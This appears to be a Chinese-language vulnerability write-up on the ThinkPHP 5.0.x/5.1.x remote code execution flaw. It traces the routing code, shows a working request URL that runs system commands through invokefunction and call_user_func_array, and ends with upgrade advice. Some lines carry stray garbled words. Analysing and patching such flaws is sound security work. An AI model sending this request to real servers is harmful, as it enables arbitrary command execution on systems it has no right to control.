ThinkPHP 是一個免費開源的,快速、簡單的面向對象的輕量級PHP開發框架,由於其易用性、擴展性,已經成長爲國內頗具影響力的WEB應用開發框架php
漏洞引起的緣由是框架對控制器名沒有進行足夠的檢測,現拉取ThinkPHP v5.0.22 來進行測試git
請求路由 => http://127.0.0.1/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l 系統解析爲 => 模塊:index => 控制器:thinkapp => 方法:invokefunction => 參數列表: => function=call_user_func_array => vars[0]=system => vars[1][]=ls -l
跟蹤到路由解析代碼 thinkphplibrarythinkApp.phpgithub
/** * 執行模塊 * @access public * @param array $result 模塊/控制器/操做 * @param array $config 配置參數 * @param bool $convert 是否自動轉換控制器和操做名 * @return mixed * @throws HttpException */ public static function module($result, $config, $convert = null) { // ====================================================== // 未進行過濾直接以 / 分解來進行解析 // ====================================================== if (is_string($result)) { $result = explode('/', $result); } ... // ====================================================== // 未進行過濾直接賦值爲 $result[1] 即 thinkapp 並進行實例化 // ====================================================== $instance = Loader::controller( $controller, // thinkapp $config['url_controller_layer'], $config['controller_suffix'], $config['empty_controller'] ); ... // ========================================= // 傳遞 $result[2] 即 invokefunction 方法 // is_callable([$instance, "invokefunction"] // ========================================= if (is_callable([$instance, $action])) { // 執行操做方法 $call = [$instance, $action]; // 嚴格獲取當前操做方法名 $reflect = new ReflectionMethod($instance, $action); $methodName = $reflect->getName(); $suffix = $config['action_suffix']; $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName; $request->action($actionName); ... return self::invokeMethod($call, $vars); ... /** * 調用反射執行類的方法 支持參數綁定 * @access public * @param string|array $method 方法 * @param array $vars 變量 * @return mixed */ public static function invokeMethod($method, $vars = []) { if (is_array($method)) { $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]); $reflect = new ReflectionMethod($class, $method[1]); } else { // 靜態方法 $reflect = new ReflectionMethod($method); } $args = self::bindParams($reflect, $vars); // =============================================== // 傳遞uri參數 // var_dump($args); // -------------------------- // array(2) { // [0]=> // string(20) "call_user_func_array" // [1]=> // array(2) { // [0]=> // string(6) "system" // [1]=> // array(1) { // [0]=> // string(5) "ls -l" // } // } // } // =============================================== self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info'); // ======================================================= // 即經過 invokeFunction 傳遞系統調用給 call_user_func_array // 從而調用 system("ls -l") // ======================================================= return $reflect->invokeArgs(isset($class) ? $class : null, $args); } ... /** * 執行函數或者閉包方法 支持參數調用 * @access public * @param string|array|Closure $function 函數或者閉包 * @param array $vars 變量 * @return mixed */ public static function invokeFunction($function, $vars = []) { $reflect = new ReflectionFunction($function); $args = self::bindParams($reflect, $vars); // 記錄執行信息 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
漏洞測試結果 # curl "http://127.0.0.1/public/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l" total 13 -rw-r--r-- 1 pc-user 197121 850 Sep 7 21:33 favicon.ico -rw-r--r-- 1 pc-user 197121 766 Sep 7 21:33 index.php -rw-r--r-- 1 pc-user 197121 24 Sep 7 21:33 robots.txt -rw-r--r-- 1 pc-user 197121 840 Sep 7 21:33 router.php drwxr-xr-x 1 pc-user 197121 0 Dec 26 22:18 static
ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31thinkphp
你們看一下相關連接中github版本列表,參考github release列表的更新內容,選擇對本身升級影響最小的,最好的話就是直接升級到最新版本,要想不受漏洞影響,至少應該升級爲
ThinkPHP 5.0.23
ThinkPHP 5.1.31閉包
composer require topthink/framework=v5.0.23 composer require topthink/framework=v5.1.31 升級後確認版本已更新 # composer show topthink/framework name : topthink/framework descrip. : the new thinkphp framework keywords : framework, orm, thinkphp versions : * v5.0.23 type : think-framework ...